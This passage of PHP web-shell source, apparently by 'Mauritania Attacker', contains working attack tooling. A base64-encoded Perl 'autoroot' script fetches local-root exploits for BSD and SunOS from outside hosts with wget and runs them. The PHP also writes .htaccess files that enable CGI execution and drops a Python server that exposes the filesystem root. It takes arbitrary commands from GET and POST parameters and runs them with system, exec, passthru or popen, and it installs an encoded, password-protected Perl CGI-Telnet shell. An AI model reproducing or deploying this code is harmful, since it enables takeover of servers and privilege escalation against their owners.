ICAgICAgICAgICAgICAgICAgICAgICAgICAgICNcbiI7DQpwcmludCAiIyAgICAgICAgSGF2ZSBhIGNvZmZlICAgICAgICAgICNcbiI7DQpwcmludCAiIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICNcbiI7DQpwcmludCAiIyAgICAgICBSb290aW5nIEJTRCAgICAgICAgICAgICNcbiI7DQpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsNCnN5c3RlbSgidW5hbWUgLWE7bWtkaXIgYnNkO2NkIGJzZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2EucG9tZi5zZS9qd2dvYm4uemlwIik7DQpzeXN0ZW0oInVuemlwIGp3Z29ibi56aXAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDQ4bG9jYWwiKTsNCnN5c3RlbSgiLi80OGxvY2FsIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgiY2htb2QgNzc3IGJzZGxvY2FsIik7DQpzeXN0ZW0oIi4vYnNkbG9jYWwiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJjaG1vZCA3NzcgQlNEMy42X2xvY2Fscm9vdCIpOw0Kc3lzdGVtKCIuL0JTRDMuNl9sb2NhbHJvb3QiKTsNCnN5c3RlbSgiaWQiKTsNCg0KDQoNCg0KcHJpbnQgIkVuZCBCc2QuLiBbK11cbiI7DQp9DQppZiAoJEFSR1ZbMF0gPX4gInN1bm9zIiApDQp7DQpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsNCnByaW50ICIjIExpbnV4L0JzZC9TdW5vcyBBVVRPLVJPT1RFUiAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICBIYXZlIGEgY29mZmUgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgIFJvb3RpbmcgU3Vub3MgICAgICAgICAgI1xuIjsNCnByaW50ICIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0Kc3lzdGVtKCJ1bmFtZSAtYTtta2RpciBzdW5vcztjZCBzdW5vcyIpOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9hLnBvbWYuc2Uva2twZ3ZzLnppcCIpOw0Kc3lzdGVtKCJ1bnppcCBra3BndnMuemlwIik7DQpzeXN0ZW0oImNobW9kIDc3NyB4X29zaC5wbCAiKTsNCnN5c3RlbSgicGVybCB4X29zaC5wbCAiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC9TdW5PUyUyMDUuOS9zdW5vczU5Iik7DQpzeXN0ZW0oImNobW9kIDc3NyBzdW5vczU5Iik7DQpzeXN0ZW0oIi4vc3Vub3M1OSIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290L1N1bk9TJTIwNS44L2ZpbmFsIik7DQpzeXN0ZW0oImNobW9kIDc3NyBmaW5hbCIpOw0Kc3lzdGVtKCIuL2ZpbmFsIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvU3VuT1MlMjA1Ljcvc29sYXJpczI3Iik7DQpzeXN0ZW0oImNobW9kICt4IHNvbGFyaXMyNyIpOw0Kc3lzdGVtKCIuL3NvbGFyaXMyNyIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290L1N1bk9TJTIwNS4xMC9zdW5vczUxMCIpOw0Kc3lzdGVtKCJjaG1vZCAreCBzdW5vczUxMCIpOw0Kc3lzdGVtKCIuL3N1bm9zNTEwIik7DQpzeXN0ZW0oImlkIik7DQoNCg0KcHJpbnQgIkVuZCBTdW5PUyAuLlsrXVxuIjsNCn0=';
$chmoderr = fopen("lulZ/autoroot.pl" ,"w+");
$write = fwrite ($chmoderr ,base64_decode($shellw0rm));
if($write){
echo '<p>Script Autoroot is here ===> '.getcwd().'/lulZ/autoroot.pl</p>';
fclose($chmoderr);
chmod("lulZ/autoroot.pl",0755);


//Extracting htaccess to enable perl handler and type all depends on the server :D
$htaccess = 'T3B0aW9ucyBJbmNsdWRlcyBJbmNsdWRlc05PRVhFQyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ0KDQpBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5wbA0KQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAucGwNCg0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbA0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbA==';
$lol = fopen("lulZ/.htaccess" ,"w+");
$dwrite = fwrite ($lol ,base64_decode($htaccess));
fclose($chmoderr);

echo '<p>Back Connect and go to this directory ====> cd '.getcwd().'/lulZ/</p>';
echo "<p>Autoroot Command : perl autoroot.pl</p>";

}
}
  
if(isset($_GET['action']) && $_GET['action'] == 'pytcp'){
echo '<center><b class="conte">
<a href="?action=sym">Symlink Info</a> -
<a href="?action=dose">Cms Scanner</a> -
<a href="?action=vkill">Perl based Symlink</a> -
<a href="?action=file">Symlink Manual</a> -
<a href="?action=manu">Manually Retrieve Config</a> -
<a href="?action=ensim">Enable Symlink If Disabled</a> -
<a href="?action=pytcp">Python Bypass Forbidden Via TCP Protocol</a> -
<a href="?action=simby">Symlink Bypass 2014</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Forbidden with Python via TCP Protocol</span><center><br>';
echo '<p><font face="Tahoma" align="center" size="2" color="#007700"> Coded By Mauritania Attacker </font></p><br>';
echo '
<form method=get action="'.$me.'">
<p>
<textarea class="area" rows="17" name="S1" cols="70" >';
$shellw0rm = 'aW1wb3J0IFNpbXBsZUhUVFBTZXJ2ZXINCmltcG9ydCBTb2NrZXRTZXJ2ZXINCmltcG9ydCBvcw0KIA0KcG9ydCA9IDEzMTIzDQogDQppZiBfX25hbWVfXz09J19fbWFpbl9fJzoNCiAgICAgICAgb3MuY2hkaXIoJy8nKQ0KICAgICAgICBIYW5kbGVyID0gU2ltcGxlSFRUUFNlcnZlci5TaW1wbGVIVFRQUmVxdWVzdEhhbmRsZXINCiANCiAgICAgICAgaHR0cGQgPSBTb2NrZXRTZXJ2ZXIuVENQU2VydmVyKCgiIiwgcG9ydCksIEhhbmRsZXIpDQogDQogICAgICAgIHByaW50KCJOb3cgb3BlbiB0aGlzIHNlcnZlciBvbiB3ZWJicm93c2VyIGF0IHBvcnQgOiAiICsgc3RyKHBvcnQpKQ0KICAgICAgICBwcmludCgiZXhhbXBsZTogaHR0cDovL21haG8uY29tOiIgKyBzdHIocG9ydCkpDQogICAgICAgIGh0dHBkLnNlcnZlX2ZvcmV2ZXIoKQ==';
$file = fopen("pyProsym.py" ,"w+");
$write = fwrite ($file ,base64_decode($shellw0rm));
fclose($file);
chmod("pyProsym.py",0755);

if (strlen($_GET['command'])>1 && $_GET['execmethod']!="popen"){
echo $_GET['execmethod']($_GET['command']);}
if (strlen($_POST['command'])>1 && $_POST['execmethod']!="popen"){
echo $_POST['execmethod']($_POST['command']);}

if (strlen($_GET['command'])>1 && $_GET['execmethod']=="popen"){
popen($_GET['command'],"r");}

echo'</textarea></p><br>
<p><center>View Root Like This ===>  example: http://site.com:13123</center></p>
<p><center>Default port:13123</center></p>
<p><center>If you can launch this command from Back Connect it is more better \!/</center></p>
<br><p align="center">
<strong>Command: python pyProsym.py</strong><input type=hidden name="vw" size="50" value="cmd"> <input type="text" name="command" size="43"> <select name=execmethod>
<option value="system">System</option>  <option value="exec">Exec</option>  <option value="passthru">Passthru</option><option value="popen">popen</option>
</select> <input type="submit" value="Execute">
</p></form><br><br>';
}


if(isset($_GET['action']) && $_GET['action'] == 'cgi4e'){
mkdir('cgi4e', 0755);
chdir('cgi4e');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");
$metin = "AddType application/x-httpd-cgi .izo
AddType application/x-httpd-cgi .izo

AddHandler cgi-script .izo
AddHandler cgi-script .izo";    
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$cgi4e = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS40IjsNCiRFZGl0UGVyc2lvbj0iQW5vbkdob3N0IjsNCg0KJFBhc3N3b3JkID0gInZpcnVzYSI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzDQoJCQkJIyB0byBsb2dpbi4NCnN1YiBJc19XaW4oKXsNCgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7DQoJaWYoJG9zID1+IG0vd2luL2kpew0KCQlyZXR1cm4gMTsNCgl9ZWxzZXsNCgkJcmV0dXJuIDA7DQoJfQ0KfQ0KJFdpbk5UID0gJklzX1dpbigpOwkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYNCgkJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UNCgkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLg0KDQokTlRDbWRTZXAgPSAiJiI7CQkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNlcCA9ICI7IjsJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CQkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxlZA0KCQkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcw0KCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0DQoJCQkJCSMgdGFrZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCgkJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcw0KCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4NCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlDQoJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlDQoJCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZA0KCQkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UNCgkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQNCgkJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuDQoNCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISENCg0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQokY29scz0gMTMwOw0KJHJvd3M9IDI2Ow0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0DQojIHBhcnNlcyBHRVQsIFBPU1QgYW5kIG11bHRpcGFydC9mb3JtLWRhdGEgdGhhdCBpcyB1c2VkIGZvciB1cGxvYWRpbmcgZmlsZXMuDQojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uDQojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mDQojIHRoZSB2YXJpYWJsZS4gTm90ZTogTW9zdCBvZiB0aGUgY29kZSBpbiB0aGlzIGZ1bmN0aW9uIGlzIHRha2VuIGZyb20gb3RoZXIgQ0dJDQojIHNjcmlwdHMuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUmVhZFBhcnNlIA0Kew0KCWxvY2FsICgqaW4pID0gQF8gaWYgQF87DQoJbG9jYWwgKCRpLCAkbG9jLCAka2V5LCAkdmFsKTsNCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KCQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0KCQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGldID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsNCgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICIiIGlmIChkZWZpbmVkKCRpbnska2V5fSkpOw0KCQkJJGlueyRrZXl9IC49ICR2YWw7DQoJCX0NCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIGZ1bmN0aW9uIEVuY29kZURpcjogZW5jb2RlIGJhc2U2NCBQYXRoDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRW5jb2RlRGlyDQp7DQoJbXkgJGRpciA9IHNoaWZ0Ow0KCSRkaXIgPSB0cmltKGVuY29kZV9iYXNlNjQoJGRpcikpOw0KCSRkaXIgPX4gcy8oXHJ8XG4pLy87DQoJcmV0dXJuICRkaXI7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCW15ICRpZCA9IGBpZGAgaWYoISRXaW5OVCk7DQoJbXkgJGluZm8gPSBgdW5hbWUgLXMgLW4gLXIgLWlgOw0KCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOw0KCXByaW50IDw8RU5EOw0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCjx0aXRsZT5Bbm9uR2hvc3QgQ2dpLVRlbG5ldCBbICRWZXJzaW9uIF08L3RpdGxlPg0KJEh0bWxNZXRhSGVhZGVyDQo8L2hlYWQ+DQo8c3R5bGU+DQpib2R5ew0KZm9udDogMTBwdCBWZXJkYW5hOw0KY29sb3I6ICNmZmY7DQp9DQp0cix0ZCx0YWJsZSxpbnB1dCx0ZXh0YXJlYSB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCn0NCiNkb21haW4gdHI6aG92ZXJ7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjNDQ0Ow0KfQ0KdGQgew0KY29sb3I6ICMyQkE4RUM7DQp9DQoubGlzdGRpciB0ZHsNCgl0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQoubGlzdGRpciB0aHsNCgljb2xvcjogI0ZGOTkwMDsNCn0NCi5kaXIsLmZpbGUNCnsNCgl0ZXh0LWFsaWduOiBsZWZ0ICFpbXBvcnRhbnQ7DQp9DQouZGlyew0KCWZvbnQtc2l6ZTogMTBwdDsgDQoJZm9udC13ZWlnaHQ6IGJvbGQ7DQp9DQp0YWJsZSB7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOw0KfQ0KaW5wdXQgew0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpjb2xvcjogI2ZmOTkwMDsNCn0NCmlucHV0LnN1Ym1pdCB7DQp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQpjb2xvcjogI0ZGRkZGRjsNCmJvcmRlci1jb2xvcjogIzAwOTkwMDsNCn0NCmNvZGUgew0KYm9yZGVyOiBkYXNoZWQgMHB4ICMzMzM7DQpjb2xvcjogd2hpbGU7DQp9DQpydW4gew0KYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7DQpjb2xvcjogI0ZGMDBBQTsNCn0NCnRleHRhcmVhIHsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICNhYWE7DQp9DQpBOmxpbmsgew0KCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQoJQ09MT1I6ICMyQkE4RUM7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTpob3ZlciB7DQoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6YWN0aXZlIHsNCgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCi5saXN0ZGlyIHRyOmhvdmVyew0KCWJhY2tncm91bmQ6ICM0NDQ7DQp9DQoubGlzdGRpciB0cjpob3ZlciB0ZHsNCgliYWNrZ3JvdW5kOiAjNDQ0Ow0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOw0KfQ0KLm5vdGxpbmV7DQoJYmFja2dyb3VuZDogIzExMTsNCn0NCi5saW5lew0KCWJhY2tncm91bmQ6ICMyMjI7DQp9DQo8L3N0eWxlPg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBFbmNvZGVyKG5hbWUpDQp7DQoJdmFyIGUgPSAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQobmFtZSk7DQoJZS52YWx1ZSA9IGJ0b2EoZS52YWx1ZSk7DQoJcmV0dXJuIHRydWU7DQp9DQpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkNCnsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRFbmNvZGVDdXJyZW50RGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7DQp9DQpmdW5jdGlvbiBybV9jaG1vZF9mb3JtKHJlc3BvbnNlLGkscGVybXMsZmlsZSkNCnsNCglyZXNwb25zZS5pbm5lckhUTUwgPSAiPHNwYW4gb25jbGljaz1cXFwiY2htb2RfZm9ybSgiICsgaSArICIsJyIrIGZpbGUrICInKVxcXCIgPiIrIHBlcm1zICsiPC9zcGFuPjwvdGQ+IjsNCn0NCmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOw0KCXZhciBiYWNrPSJybV9yZW5hbWVfZm9ybSgiK2krIixcXFwiIitmaWxlKyJcXFwiLFxcXCIiK2YrIlxcXCIpOyByZXR1cm4gZmFsc2U7IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScnIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJEVuY29kZUN1cnJlbnREaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsNCn0NCmZ1bmN0aW9uIHJtX3JlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWlmKGY9PSdmJykNCgl7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1jb21tYW5kJmQ9JEVuY29kZUN1cnJlbnREaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsNCgl9ZWxzZQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOw0KCX0NCn0NCjwvc2NyaXB0Pg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+DQo8Y2VudGVyPjxjb2RlPg0KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8dHI+DQoJPHRkIGFsaWduPSJjZW50ZXIiIHJvd3NwYW49Mz4NCgkJPGI+PGZvbnQgc2l6ZT0iMyI+by0tLVsgICRFZGl0UGVyc2lvbiBdLS0tbzwvZm9udD48L2I+DQoJPC90ZD4NCgk8dGQ+DQoJCSRpbmZvDQoJPC90ZD4NCgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjZmY5OTAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iI2ZmOTkwMCI+JEVOVnsnUkVNT1RFX0FERF